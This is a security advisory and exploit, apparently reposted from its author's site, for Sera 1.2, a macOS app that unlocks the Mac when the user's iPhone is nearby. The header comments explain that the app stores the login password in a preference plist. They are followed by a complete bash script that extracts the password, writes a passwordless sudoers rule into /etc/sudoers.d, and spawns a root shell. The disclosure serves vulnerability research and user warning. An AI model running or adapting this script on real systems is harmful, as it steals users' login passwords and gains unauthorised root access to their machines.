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Sera 1.2 - Local root Privilege Escalation / Password Disclosure
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来源：https://m4.rkw.io 作者：Wadham 发布时间：2017-12-06
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# Sera is a free app for mac and iOS that lets you unlock your mac automatically
# when your iphone is within a configured proximity.
# Unfortunately to facilitate this it stores the users login password in their
# home directory at:
# ~/Library/Preferences/no.ignitum.SeraOSX.plist
# This makes root privilege escalation trivial and worse than that even
# facilitates dumping the keychain as we can easily obtain the user's login
# password. If they are an admin user we can even dump items from the system
# keychain.
# The author of Sera has said he will shut the project down and make the code
# publicly available so no fix is likely to be forthcoming anytime soon.
# It is strongly recommended not to use this app and if you have done so in the
# past make sure you remove this file that contains your login password.
# https://m4.rkw.io/sera_1.2.sh.txt
# dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf
# -------------------------------------------------------------------------
#!/bin/bash
##############################################################
###### sera 1.2 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
##############################################################
sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4`
if [ "$sera_pass" == "" ] ; then
echo "Password not found."
exit 1
fi
echo "user's password is: $sera_pass"
user="`whoami`"
echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp
echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null
echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null
sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash'
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